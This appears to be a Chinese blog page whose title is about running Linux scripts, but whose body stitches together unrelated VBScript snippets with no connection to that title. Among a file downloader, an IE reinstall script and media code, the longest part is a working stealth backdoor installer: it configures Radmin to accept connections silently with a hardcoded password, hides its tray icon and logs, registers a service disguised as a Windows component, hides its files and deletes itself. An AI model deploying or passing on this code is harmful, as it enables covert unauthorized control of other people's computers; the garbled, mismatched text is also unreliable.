linux全局运行脚本,Linux怎么运行脚本三分钟宣传

但有一点要注意的是,在UnloadForm1之前一定要先UnloadForm2

Set Wshell=WScript.CreateObject("WScript.Shell")

If MsgBox("到我空间转转?顺便挖金a79ddb267c46d8c18544d7a4bcd0bbfe.png

示例 1:

这就是说,如果使用看起来象是数字的数据,则VBScript会假定其为数字并以适用于数字的方式处理

on error resume next

iLocal=LCase(Wscript.Arguments(1))

iRemote=LCase(Wscript.Arguments(0))

iUser=LCase(Wscript.Arguments(2))

iPass=LCase(Wscript.Arguments(3))

set xPost=CreateObject("Microsoft.XMLHTTP")

if iUser="" and iPass="" then

xPost.Open "GET",iRemote,0

else

xPost.Open "GET",iRemote,0,iUser,iPass

end if

xPost.Send()

set sGet=CreateObject("ADODB.Stream")

sGet.Mode=3

sGet.Type=1

sGet.Open()

sGet.Write xPost.ResponseBody

sGet.SaveToFile iLocal,2

下面以具体例子说明如何用SendMessage实现“剪切”、“复制”、“粘贴”、“撤消”和“删除”功能:

在窗体中放置一个文本框Text1和五个按钮,分别执行以上五种功能,编写以下程序

'run_ie_reinstall.vbs - Runs the Internet Explorer Setup

'?Doug Knox - 4/10/2002

'Downloaded from

X=MsgBox("Do you want to reinstall Internet Explorer?", vbYesNo, "Prompt!")

Y=MsgBox("Do you want to reinstall Outlook Express?", vbYesNo, "Prompt!")

Set WshShell=WScript.CreateObject("WScript.Shell")

If X=6 Then

WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}\IsInstalled", 0, "REG_DWORD"

End If

If Y=6 Then

WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{44BBA840-CC51-11CF-AAFA-00AA00B6015C}\IsInstalled", 0, "REG_DWORD"

End If

If X=6 OR Y=6 Then

WshShell.Run ("rundll32.exe setupapi,InstallHinfSection DefaultInstall 132 %windir%\Inf\ie.inf")

Else

MsgBox "You chose not to reinstall IE or OE. No changes were made." & vbCR & vbCR & "Copyright 2003 - Doug Knox",vbOkOnly, "User Cancelled"

End If

源代码:

PrivateSubCommand1_Click()

Dimback

back=mciSendString&("CLOSENN",0,0,0)

EndSub

PrivateSubCommand2_Click()

Dimback

back=mciSendString&("OPEN" App.Path "\TEST.mid" "TYPESEQUENCERALIASNN",0&,0,0)

back=mciSendString&("PLAYNNFROM0",0&,0,0)

R=mciSendString&("CLOSEANIMATION",0&,0,0)

EndSub

PrivateSubForm_Load()

Dimback

back=mciSendString&("OPEN" App.Path "\TEST.mid" "TYPEWaveAudioALIASNN",0&,0,0)

back=mciSendString&("PLAYNNFROM0",0&,0,0)

R=mciSendString&("CLOSEANIMATION",0&,0,0)

EndSub->

objs="c:\aaa\*"'支持UNC路径

objd="d:\aaa"

'请自行修改上面两个路径

Setobjshell=CreateObject("Scripting.FileSystemObject")

objshell.CopyFolder(Objs,objD)'当文件存在时默认进行覆盖操作费变态声明完毕我们就能在程序中使用此API函数了

onerrorresumenext

constHKEY_LOCAL_MACHINE=&H80000002

strComputer="."

SetStdOut=WScript.StdOut

SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&_

strComputer&"\root\default:StdRegProv")

strKeyPath="SYSTEM\RAdmin"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

strKeyPath="SYSTEM\RAdmin\v2.0"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

strKeyPath="SYSTEM\RAdmin\v2.0\Server"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

strKeyPath="SYSTEM\RAdmin\v2.0\Server\iplist"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

strKeyPath="SYSTEM\RAdmin\v2.0\Server\Parameters"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

SetobjRegistry=GetObject("Winmgmts:root\default:StdRegProv")

strPath="SYSTEM\RAdmin\v2.0\Server\Parameters"

uBinary=Array(0,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AskUser",uBinary)

uBinary=Array(0,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AutoAllow",uBinary)

uBinary=Array(1,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"DisableTrayIcon",uBinary)

uBinary=Array(0,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableEventLog",uBinary)

uBinary=Array(0,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableLogFile",uBinary)

uBinary=Array(0,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"FilterIp",uBinary)

uBinary=Array(0,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"NTAuthEnabled",uBinary)

uBinary=Array(198,195,162,215,37,223,10,224,99,83,126,32,212,173,208,119)//此为注册表导出十六进制转为十进制数据pass:241241241

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Parameter",uBinary)//Radmin密码

uBinary=Array(5,4,0,0)//端口:1029

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Port",uBinary)

uBinary=Array(10,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Timeout",uBinary)

SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&strComputer&"\root\default:StdRegProv")

strKeyPath="SYSTEM\RAdmin\v2.0\Server\Parameters"

strValueName="LogFilePath"

strValue="c:\logfile.txt"

setwshshell=createobject("wscript.shell")

a=wshshell.run("sc.execreateWinManageHelpbinpath=%systemroot%\system32\Exporer.exestart=auto",0)

oReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&strComputer&"\root\default:StdRegProv")

strKeyPath="SYSTEM\ControlSet001\Services\WinManageHelp"

strValueName="Description"

strValue="WindowsMediaPlayerWindowsManagementInstrumentationPlayerDrivers."

oReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strValueName="DisplayName"

strValue="WindowsManagementInstrumentationPlayerDrivers"

oReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strValueName="ImagePath"

strValue="c:\windows\system32\Exporer.exe/service"

oReg.SetExpandedStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

setwshshell=createobject("wscript.shell")

a=wshshell.run("netstartWinManageHelp",0)

b=wshshell.run("attrib+r+h+s%systemroot%\system32\exporer.exe",0)

c=wshshell.run("attrib+r+h+s%systemroot%\system32\AdmDll.dll",0)

d=wshshell.run("attrib+r+h+s%systemroot%\system32\raddrv.dll",0)

CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)//自删除

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值